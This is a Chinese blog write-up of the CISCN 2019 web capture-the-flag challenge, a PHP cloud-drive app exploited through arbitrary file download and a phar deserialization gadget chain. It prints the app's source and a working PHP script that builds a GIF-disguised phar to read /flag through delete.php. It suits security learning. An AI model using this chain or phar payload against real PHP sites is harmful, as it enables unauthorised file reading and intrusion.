CISCN_2019_WEB_1

最新推荐文章于 2023-03-10 10:18:36 发布

M1kael

最新推荐文章于 2023-03-10 10:18:36 发布

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文章标签： 1024程序员节 web安全 phar php

本文链接：https://blog.csdn.net/qq_53460654/article/details/120921038

版权

打开环境是个网盘管理系统
本来想试试照这个管理系统源码的没找到
注册个号进去上传个图片

加粗样式
发现只有下载和删除两个选项
我们来抓包看看下载会不会任意文件下载
发现可以
在这里插入图片描述
那就直接这样读源码
index.php

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

upload.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

include "class.php";

if (isset($_FILES["file"])) {
    $filename = $_FILES["file"]["name"];
    $pos = strrpos($filename, ".");
    if ($pos !== false) {
        $filename = substr($filename, 0, $pos);
    }
    
    $fileext = ".gif";
    switch ($_FILES["file"]["type"]) {
        case 'image/gif':
            $fileext = ".gif";
            break;
        case 'image/jpeg':
            $fileext = ".jpg";
            break;
        case 'image/png':
            $fileext = ".png";
            break;
        default:
            $response = array("success" => false, "error" => "Only gif/jpg/png allowed");
            Header("Content-type: application/json");
            echo json_encode($response);
            die();
    }

    if (strlen($filename) < 40 && strlen($filename) !== 0) {
        $dst = $_SESSION['sandbox'] . $filename . $fileext;
        move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
        $response = array("success" => true, "error" => "");
        Header("Content-type: application/json");
        echo json_encode($response);
    } else {
        $response = array("success" => false, "error" => "Invaild filename");
        Header("Content-type: application/json");
        echo json_encode($response);
    }
}
?>

dowload.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

发现了class.php中有很多类，这道题的利用点应该就是反序列化，但是会发现没有反序列化函数，然后我们可以试着去phar反序列化。
我们首先得知道phar的触发函数有哪些
在这里插入图片描述
当然还有常用的包含函数，这里的phar反序列化触发函数在

 public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } e

然后下载和删除都能触发，但是下载有目录的限制
然后这个题都利用点在这

   public function close() {
        return file_get_contents($this->filename);
    }

这个close方法在File这个类open方法中被调用
接下来构造反序列化利用链，先找可利用函数，file类中的close方法调用了file_get_contents

 public function close() {
        return file_get_contents($this->filename);
    }

这里要注意的是close()是File类的方法，而File类只在Filelist类中有调用过。但Filelist中并没有调用close()方法的位置。此时需要注意__call

public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

它将Filelist类中的files数组全部遍历了一遍，并执行对应的func()结果被存进result。之后的__destruct()方法则会将result等等结果打印出来。确保了Filelist的对象如果能借此魔术方法调用close()方法。然后

 public function __destruct() {
        $this->db->close();
    }

原本只是一个同名close()函数，但是此处却存在着可利用之处。假如我们的文件上传的是User类的对象。销毁时自然会执行close()函数。但如果把db设置为Filelist类的对象，那么db->close()执行时将找不到close()函数，进而执行其files数组里的每一个函数。那么如果files数组里是存在同名函数close的File类对象，就能成功执行文件读取。
所以exp是

<?php
class User{
    public $db;
}
class File{
    public $filename = "/flag";
}
class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct(){
        $this->files = array(new File());
        $this->results = array();
        $this->funcs = array();
    }
}
$ins = new User();
$ins->db = (new FileList());
echo serialize($ins);

$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($ins);
$phar->addFromString("m1kael.txt", "m1kael1");
$phar->stopBuffering();
?>

然后改为gif后缀上传，再到删除的地方进行phar反序列化就行
希望这篇文件能够帮助你！

M1kael

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CISCN_2019_WEB_1

打开环境是个网盘管理系统本来想试试照这个管理系统源码的没找到注册个号进去上传个图片发现只有下载和删除两个选项我们来抓包看看下载会不会任意文件下载发现可以那就直接这样读源码index.php<?phpinclude "class.php";$a = new FileList($_SESSION['sandbox']);$a->Name();$a->Size();?>class.php<?phperror_reporting(0);$dba
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